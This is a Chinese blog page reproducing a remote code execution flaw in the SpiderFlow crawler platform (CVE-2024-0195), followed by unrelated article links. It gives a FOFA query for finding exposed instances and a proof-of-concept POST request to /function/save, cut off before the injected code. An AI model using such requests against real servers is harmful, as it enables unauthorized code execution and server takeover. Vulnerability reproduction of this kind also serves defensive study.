当前位置: 首页 > news >正文

SpiderFlow爬虫平台 前台RCE漏洞复现(CVE-2024-0195)

0x01 产品简介

SpiderFlow是新一代爬虫平台,以图形化方式定义爬虫流程,以流程图的方式定义爬虫,不写代码即可完成爬虫,是一个高度灵活可配置的爬虫平台。

0x02 漏洞概述

SpiderFlow爬虫平台src/main/java/org/spiderflow/controller/FunctionController.java文件的FunctionService.saveFunction函数中发现了一个被归类为关键的漏洞。该漏洞可导致代码注入,并允许远程发起攻击,可导致服务器失陷。

0x03 影响范围

所有版本

0x04 复现环境

FOFA:app="SpiderFlow"

0x05 漏洞复现

PoC

POST /function/save HTTP/1.1
Host: your-ip
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequestid=1&name=cmd&p

相关文章:

  • Flutter-Web从0到部署上线(实践+埋坑)
  • 【MySQL】导入导出SQL脚本及远程备份---超详细介绍
  • GIT 分支管理办法(二)
  • Redis中的Java客户端
  • 设计模式——适配器模式
  • 通过代理连接sftp
  • 汇编和C语言转换
  • 深入理解Lock Support
  • 2024年01月微软更新Bug 已解决 !Explorer.EXE 提示:Windows无法访问指定设备、路径或文件。你可能没有适当的权限访问该项目。
  • 测绘资质工程测量乙级资质办理条件
  • 强力推荐:本地文件加密软件—超详细加密步骤来了!
  • 概念解析 | 感知世界的无形之“波”:WiFi感知中的信道状态信息(CSI)探秘
  • 【Golang】十六进制字符串转二进制字符串
  • vue前端开发自学,插槽练习第二次,name属性的使用
  • OpenWrt智能路由器Wan PPPoE拨号配置方法
  • 时间复杂度分析经典问题——最大子序列和
  • axios 和 cookie 的那些事
  • dva中组件的懒加载
  • HTTP那些事
  • Java 实战开发之spring、logback配置及chrome开发神器(六)
  • React+TypeScript入门
  • 和 || 运算
  • 如何编写一个可升级的智能合约
  • 如何使用 OAuth 2.0 将 LinkedIn 集成入 iOS 应用
  • 探索 JS 中的模块化
  • 温故知新之javascript面向对象
  • 在Unity中实现一个简单的消息管理器
  • 《TCP IP 详解卷1:协议》阅读笔记 - 第六章
  • PostgreSQL之连接数修改
  • ​520就是要宠粉,你的心头书我买单
  • #define与typedef区别
  • #NOIP 2014#day.2 T1 无限网络发射器选址
  • #QT(一种朴素的计算器实现方法)
  • (0)Nginx 功能特性
  • (Python) SOAP Web Service (HTTP POST)
  • (附源码)计算机毕业设计SSM在线影视购票系统
  • (黑马C++)L06 重载与继承
  • (教学思路 C#之类三)方法参数类型(ref、out、parmas)
  • (每日持续更新)信息系统项目管理(第四版)(高级项目管理)考试重点整理第3章 信息系统治理(一)
  • (牛客腾讯思维编程题)编码编码分组打印下标(java 版本+ C版本)
  • (原创)Stanford Machine Learning (by Andrew NG) --- (week 9) Anomaly DetectionRecommender Systems...
  • (原創) 博客園正式支援VHDL語法著色功能 (SOC) (VHDL)
  • (转)http协议
  • (转)IIS6 ASP 0251超过响应缓冲区限制错误的解决方法
  • .equal()和==的区别 怎样判断字符串为空问题: Illegal invoke-super to void nio.file.AccessDeniedException
  • .net core 调用c dll_用C++生成一个简单的DLL文件VS2008
  • .net redis定时_一场由fork引发的超时,让我们重新探讨了Redis的抖动问题
  • .NET/ASP.NETMVC 深入剖析 Model元数据、HtmlHelper、自定义模板、模板的装饰者模式(二)...
  • .NET6实现破解Modbus poll点表配置文件
  • .NET国产化改造探索(三)、银河麒麟安装.NET 8环境
  • .sh
  • [Android] Amazon 的 android 音视频开发文档
  • [Android] Android ActivityManager
  • [android学习笔记]学习jni编程
  • [BZOJ1040][P2607][ZJOI2008]骑士[树形DP+基环树]